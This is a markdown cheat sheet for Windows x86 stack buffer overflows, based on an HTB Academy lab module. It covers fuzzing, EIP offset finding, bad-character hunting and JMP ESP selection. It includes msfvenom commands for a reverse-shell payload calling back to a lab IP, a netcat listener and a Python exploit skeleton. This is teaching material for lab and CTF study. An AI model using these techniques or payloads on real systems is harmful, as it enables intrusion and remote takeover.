buffer-overflow.md (4580B)
1 --- 2 title: "Stack-Based Buffer Overflow (Win x86)" 3 description: "Classic Windows x86 stack overflow: fuzzing, EIP control, bad chars, JMP ESP, shellcode." 4 category: exploitation 5 tags: [exploitation, buffer-overflow, windows, binary] 6 tools: [Immunity Debugger, mona.py, msfvenom] 7 difficulty: advanced 8 updated: "2026-08-09" 9 source: "repo:HTB/cheatsheet-stack-based-buffer-overflows-on-windows-x86.pdf" 10 --- 11 12 # Stack-Based Buffer Overflow (Win x86) 13 14 Classic 32-bit Windows stack overflow workflow. Based on the HTB Academy module cheat sheet, with tooling for both **Immunity Debugger + mona.py** and **x64dbg + ERC**. 15 16 > For **authorized lab/CTF use only.** Target software you own or are explicitly permitted to test. 17 18 --- 19 20 ## The Five Steps 21 22 1. **Fuzzing** — send growing input until the service crashes 23 2. **Controlling EIP** — find the exact offset that overwrites the return address 24 3. **Identifying bad characters** — bytes the app mangles, must be excluded from shellcode 25 4. **Finding a return instruction** — a `JMP ESP` (or equivalent) in a non-protected module 26 5. **Jumping to shellcode** — overwrite EIP with that address, land in your payload 27 28 --- 29 30 ## General 31 32 ```bash 33 # RDP to the Windows debugging VM 34 xfreerdp /v:<target IP> /u:htb-student /p:<password> 35 36 # Create a cyclic pattern (Metasploit) 37 /usr/bin/msf-pattern_create -l 5000 38 39 # Find the offset of the value that landed in EIP 40 /usr/bin/msf-pattern_offset -q 31684630 41 ``` 42 43 ```cmd 44 :: List listening ports on the Windows target 45 netstat -a | findstr LISTEN 46 47 :: Interact with the vulnerable port 48 .\nc.exe 127.0.0.1 8888 49 ``` 50 51 --- 52 53 ## Generating Shellcode (msfvenom) 54 55 ```bash 56 # Local privesc / command execution payload 57 msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00' 58 59 # Reverse shell payload (exclude null + newline bad chars) 60 msfvenom -p 'windows/shell_reverse_tcp' \ 61 LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\x0a' 62 ``` 63 64 ```bash 65 # Catch the reverse shell 66 nc -lvnp 1234 67 ``` 68 69 > **Note —** Always pass every confirmed bad character to `-b`. A single unescaped bad byte truncates or corrupts the payload and the exploit fails silently. 70 71 --- 72 73 ## Debugger Shortcuts (Immunity) 74 75 | Action | Key | 76 |---|---| 77 | Open file | `F3` | 78 | Attach to a process | `alt+A` | 79 | Go to Logs tab | `alt+L` | 80 | Go to Symbols tab | `alt+E` | 81 | Search for instruction (current module) | `ctrl+f` | 82 | Search for pattern | `ctrl+b` | 83 | Search all loaded modules for instruction | `Search For > All Modules > Command` | 84 | Search all loaded modules for pattern | `Search For > All Modules > Pattern` | 85 86 --- 87 88 ## ERC (x64dbg plugin) 89 90 ```text 91 # Set working directory for output files 92 ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\ 93 94 # Create a cyclic pattern 95 ERC --pattern c 5000 96 97 # Find pattern offset from the value in EIP 98 ERC --pattern o 1hF0 99 100 # Generate a full byte array (all 256 bytes) 101 ERC --bytearray 102 103 # Byte array excluding known bad bytes 104 ERC --bytearray -bytes 0x00 105 106 # Compare in-memory bytes against a byte-array file (bad-char hunting) 107 ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin 108 109 # List loaded modules and their memory protections (find a JMP ESP module) 110 ERC --ModuleInfo 111 ``` 112 113 > **Note —** Pick a return address from a module with **no ASLR, no DEP, no SafeSEH** and whose address contains none of your bad characters. `ERC --ModuleInfo` (or mona's `!mona modules`) shows the protections. 114 115 --- 116 117 ## Python Exploit Skeleton 118 119 ```python 120 #!/usr/bin/env python3 121 import socket 122 123 target = "127.0.0.1" 124 port = 8888 125 126 offset = 0 # from step 2 (pattern_offset) 127 eip = b"\x00\x00\x00\x00" # JMP ESP address, little-endian 128 nops = b"\x90" * 16 # NOP sled 129 shellcode = b"" # from msfvenom (bad chars excluded) 130 131 buf = b"A" * offset + eip + nops + shellcode 132 133 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 134 s.connect((target, port)) 135 s.send(buf + b"\r\n") 136 s.close() 137 ``` 138 139 ```bash 140 # Quick fuzzing payloads 141 python -c "print('A'*10000)" 142 python -c "print('A'*10000, file=open('fuzz.wav', 'w'))" 143 ``` 144 145 Debugging the exploit script itself: 146 147 ```python 148 breakpoint() # drop into pdb at this line 149 # 'c' to continue from the breakpoint 150 ``` 151 152 --- 153 154 ## Workflow Summary 155 156 | Step | Goal | Tooling | 157 |---|---|---| 158 | Fuzz | Crash the service | growing `A*N` payloads | 159 | Offset | Control EIP | `msf-pattern_create` / `ERC --pattern c`, then `_offset` / `--pattern o` | 160 | Bad chars | Clean shellcode | byte-array compare in the debugger | 161 | Return addr | Reliable jump | `JMP ESP` in an unprotected module | 162 | Shellcode | Get code exec | `msfvenom -b '<bad chars>'` |